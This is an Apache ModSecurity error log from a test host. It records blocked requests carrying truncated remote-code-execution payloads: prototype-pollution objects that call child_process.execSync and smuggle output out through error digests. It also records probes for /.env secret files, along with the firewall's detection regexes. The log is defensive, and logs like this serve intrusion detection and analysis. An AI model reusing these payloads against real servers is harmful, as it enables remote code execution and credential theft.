[Thu Jan 22 23:43:53.374640 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "350"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: res_hex })); }).catch(function(e) { reject(Object.assign(new Er..."] [severity "CRITICAL"] [ver "OWASP_C [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.374780 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Rule 7fd1992c7bf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.374941 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.375089 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.376989 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Rule 7fd199ef9320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.377135 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Rule 7fd199ef0030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.384018 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.384197 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Fri Jan 23 01:19:20.824760 2026] [:error] [pid 1594364] [client 142.93.106.249:41157] [client 142.93.106.249] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iLyNlo8zzvUv8YqqfgAAAAM"]
[Fri Jan 23 01:19:20.825120 2026] [:error] [pid 1594364] [client 142.93.106.249:41157] [client 142.93.106.249] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('uname -m').toString..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iLyNlo8zzvUv8YqqfgAAAAM"]
[Fri Jan 23 01:19:20.826496 2026] [:error] [pid 1594364] [client 142.93.106.249:41157] [client 142.93.106.249] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iLyNlo8zzvUv8YqqfgAAAAM"]
[Fri Jan 23 01:19:20.826657 2026] [:error] [pid 1594364] [client 142.93.106.249:41157] [client 142.93.106.249] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iLyNlo8zzvUv8YqqfgAAAAM"]
[Fri Jan 23 01:19:20.880577 2026] [:error] [pid 1593966] [client 142.93.106.249:21458] [client 142.93.106.249] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iKP40BFwWKhkvnnIHgAAAAQ"]
[Fri Jan 23 01:19:20.880928 2026] [:error] [pid 1593966] [client 142.93.106.249:21458] [client 142.93.106.249] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('echo TEST$((6+7))TE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iKP40BFwWKhkvnnIHgAAAAQ"]
[Fri Jan 23 01:19:20.880988 2026] [:error] [pid 1593966] [client 142.93.106.249:21458] [client 142.93.106.249] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('echo TEST$((6 7))TE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iKP40BFwWKhkvnnIHgAAAAQ"]
[Fri Jan 23 01:19:20.882419 2026] [:error] [pid 1593966] [client 142.93.106.249:21458] [client 142.93.106.249] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iKP40BFwWKhkvnnIHgAAAAQ"]
[Fri Jan 23 01:19:20.882585 2026] [:error] [pid 1593966] [client 142.93.106.249:21458] [client 142.93.106.249] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXK-iKP40BFwWKhkvnnIHgAAAAQ"]
[Fri Jan 23 06:39:38.252291 2026] [:error] [pid 1596308] [client 20.226.156.10:20505] [client 20.226.156.10] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmsenwX3GmuUsFcV-RwAAAAU"]
[Fri Jan 23 06:39:38.252671 2026] [:error] [pid 1596308] [client 20.226.156.10:20505] [client 20.226.156.10] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('uname -m').toString..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmsenwX3GmuUsFcV-RwAAAAU"]
[Fri Jan 23 06:39:38.253988 2026] [:error] [pid 1596308] [client 20.226.156.10:20505] [client 20.226.156.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmsenwX3GmuUsFcV-RwAAAAU"]
[Fri Jan 23 06:39:38.254164 2026] [:error] [pid 1596308] [client 20.226.156.10:20505] [client 20.226.156.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmsenwX3GmuUsFcV-RwAAAAU"]
[Fri Jan 23 06:39:39.043844 2026] [:error] [pid 1596309] [client 20.226.156.10:39459] [client 20.226.156.10] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmyhE3-d5PODU0ZBGcQAAAAY"]
[Fri Jan 23 06:39:39.044260 2026] [:error] [pid 1596309] [client 20.226.156.10:39459] [client 20.226.156.10] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('echo TEST$((6+7))TE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmyhE3-d5PODU0ZBGcQAAAAY"]
[Fri Jan 23 06:39:39.044314 2026] [:error] [pid 1596309] [client 20.226.156.10:39459] [client 20.226.156.10] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('echo TEST$((6 7))TE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmyhE3-d5PODU0ZBGcQAAAAY"]
[Fri Jan 23 06:39:39.045723 2026] [:error] [pid 1596309] [client 20.226.156.10:39459] [client 20.226.156.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmyhE3-d5PODU0ZBGcQAAAAY"]
[Fri Jan 23 06:39:39.045890 2026] [:error] [pid 1596309] [client 20.226.156.10:39459] [client 20.226.156.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXMJmyhE3-d5PODU0ZBGcQAAAAY"]
[Fri Jan 23 08:11:44.561690 2026] [:error] [pid 1596304] [client 141.98.11.171:12817] [client 141.98.11.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXMfMDhDL5QTdZ-T3ORXaQAAAAI"]
[Fri Jan 23 08:11:44.562000 2026] [:error] [pid 1596304] [client 141.98.11.171:12817] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXMfMDhDL5QTdZ-T3ORXaQAAAAI"]
[Fri Jan 23 08:11:44.562199 2026] [:error] [pid 1596304] [client 141.98.11.171:12817] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXMfMDhDL5QTdZ-T3ORXaQAAAAI"]
[Fri Jan 23 08:11:44.598932 2026] [:error] [pid 1596304] [client 141.98.11.171:12817] [client 141.98.11.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXMfMDhDL5QTdZ-T3ORXagAAAAI"]
